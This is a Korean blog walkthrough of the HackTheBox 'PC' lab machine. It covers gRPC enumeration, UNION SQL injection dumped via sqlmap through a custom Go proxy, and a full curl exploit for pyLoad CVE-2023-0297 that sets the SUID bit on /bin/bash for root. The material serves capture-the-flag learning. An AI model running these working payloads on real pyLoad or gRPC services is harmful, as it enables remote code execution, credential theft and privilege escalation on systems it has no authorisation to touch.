[HTB] PC

쥬스몬·2023년 5월 22일
0

HackTheBox

목록 보기
21/37

이번 머신은 출시된지 하루지난 따끈따끈한 머신으로 포럼을 통해 힌트도 얻을 수 없었다. 그래서 더 재밌게 해결했던것같다 :)

Port Scan

생성한 머신을 대상으로 포트스캔을 먼저 진행하니 22/tcp50051/tcp가 확인된다. 일반적인 80,8080,8888과 같이 웹 서비스 포트로 보이진않는다.

브라우저에 직접 접근하니 응답을 받지못하고 curl을통해 호출해도 에러가 반환된다.

gRPC Service Listing

관련해서 50051/tcp 포트를 검색하다가 gRPC 서버 포트로 자주 언급되는것을 보았으며 테스트를 위해 grpcurl을 사용하여 Request를 던졌더니 서비스 목록을 리스팅하는것을 볼 수 있다.

grpcurl을 통해 확인된 서비스인 LoginUser RegisterUser getInfo에 각각 요청을 날려서 서비스 접근이 가능한지 확인하기위해 각 서비스마다 어떤 데이터를 전달해야되는지를 describe 커멘드를 통해 확인한다.

gRPC Request

전달해야되는 데이터를 확인했으니 가장 먼저 .RegisterUserRequest 이후 .LoginUserRequest를 진행하였다.

결과적으로 생성된 juicemon 계정의 ID는 117로 확인되었다.

grpcurl -plaintext -d '{"username":"juicemon", "password":"juicemon"}' 10.10.11.214:50051 SimpleApp.RegisterUser
grpcurl -plaintext -d '{"username":"juicemon", "password":"juicemon"}' 10.10.11.214:50051 SimpleApp.LoginUser

확인된 ID를 .getInfoRequest에 전달하니 아래와 같이 헤더에 token이 없다고한다.

grpcurl -plaintext -d '{"id":"117"}' 10.10.11.214:50051 SimpleApp.getInfo

로그인 과정에서 token이 전달된것으로 예상되어 grpcurl의 옵션중 -v 옵션을 추가시켜 자세한 응답값을 확인하니 gRPC Response Trailers에 토큰이 포함되어있는것을 확인할 수 있었다.

grpcurl의 사용법을 자세히 읽은 후 해당 토큰을 Request Header에 포함시키는 방법을 찾았으며 아래와 같이 토큰을 포함시켜 다시 .getInfoRequest를 진행했다.

토큰 관련된 에러는 넘어간것으로 보이지만 타입 에러가 확인된다. 토큰을 다시 받기위해 로그인을 다시했으나 로그인 실패 메세지를 확인할 수 있다.

.getInfoRequest를 요청 시 계정이 삭제되는것인지 확인하기 위해 위에서 진행한 회원가입->로그인->정보요청 과정을 토큰을 포함하여 다시 진행하였다.

결과적으로 새로 응답받은 ID(554)의 정보를 받아볼 수 있었다.

SQL Injection

여기서 무엇을 할 수 있을까 고민하다가 무지성으로 SQLi를 진행하면서 취약 여부를 확인하다가 UNION SQLi가 가능한것을 확인했다.

또, 이것 저것 테스트하다가 에러가 유발되어 응답받은 내용에서 DBMS는 SQLite3인것도 우연히 확인했다.

PayloadsAllTheThings의 SQLite SQL injection 자료를 참고하여 SQLite의 버전을 출력하여 취약 여부를 다시한번 확인했다.

gRPC Proxy(?)

SQLi를 통해서 하나하나 테이블을 조회하고 컬럼명을 찾는것이 귀찮아서 grpcurl에 sqlmap을 연결할 수 있는 방법을 생각하다가 웹서비스를 하나 띄워서 sqlmap을 실행시키고 전달받은 페이로드를 grpcurl에 입력하여 gRPC Request를 전송하도록 구성해 보았다.

package main

import (
	"fmt"
	"log"
	"os/exec"
	"strings"

	"github.com/gofiber/fiber/v2"
)

func ctrlPayload(c *fiber.Ctx) error {
	payload := c.Query("p")
	payload = strings.ReplaceAll(payload, `"`, `'`)
	payload = `{"id": "` + payload + `"}`
	fmt.Println(payload)
	cmd := exec.Command("grpcurl", "-plaintext", "-d", payload, "-rpc-header", "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoianVpY2Vtb24iLCJleHAiOjE2ODQ3NDg0NDN9.ywGgGUpmSQ8bPgYnrimOsoTA_aOJ5HhOr-t0l3tEN80", "10.10.11.214:50051", "SimpleApp.getInfo")
	output, err := cmd.Output()
	if err != nil {
		return c.Status(fiber.StatusBadRequest).JSON(fiber.Map{
			"error": true,
			"msg":   "ERROR!",
		})
	}

	return c.Status(fiber.StatusBadRequest).JSON(fiber.Map{
		"error": false,
		"msg":   output,
	})
}

func main() {
	app := fiber.New(fiber.Config{
		BodyLimit: 10 * 1024 * 1024, // 10MB
	})

	app.Get("/payload", ctrlPayload)

	log.Fatal(app.Listen(":32123"))
}

작성한 코드를 실행시켜 localhost:32123/payload 경로로 페이로드를 전달 받을 수 있게 구성했다.

이후 sqlmap을 돌려서 계정정보가 담긴 테이블에서 계정정보를 탈취할 수 있었다.

sqlmap -u "http://localhost:32123/payload?p=1" --batch --level 5 --risk 3 --dbms=SQLite --dump

SSH Access

해당 계정으로 로그인해서 이것저것 찔러봤지만 의미있는 데이터는 확인할 수 없었고 어찌됐든 SSH 로그인이 가능했다.

자동적으로 sudo 권한을 체크했지만 가진 권한이 하나도 없었다.

pspy, linpeas에서 공통적으로 확인할 수 있는 pyLoad가 존재하고있어 netstat으로 열려있는 포트를 확인하니 로컬에서 8000/tcp가 오픈되어있다.

로컬 서비스 확인(pyLoad)

빠르게 frp reverse proxy를 구성하고 공격자 PC에서 바인딩된 포트에 접근했더니 pyLoad Web UI를 확인할 수 있었다.

디폴트 계정정보가 있는지 확인해봤으나 로그인은 불가능했다.

pyLoad Pre-auth RCE

pyLoad 관련해서 취약점이 존재하는지 확인해보니 2023년에 공개된 따끈따끈한 Pre-auth RCE(CVE-2023-0297)가 존재했다.

Pre-auth RCE in pyload/pyload

PoC

해당 PoC는 touch 명령을 통해 /tmp/pwnd파일을 생성한다.

curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'

연결된 SSH Shell에서 해당 명령을 실행하니 /tmp/pwnd 파일이 root 권한으로 생성된것을 확인할 수 있었다.

Local Privilege Escalation

PoC를 조금 수정하여 chmod u+s /bin/bash 명령을 실행하도록 수정하였고 /bin/bash LPE 트릭을 통해 권한 상승까지 마무리할 수 있었다.

curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'

done

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글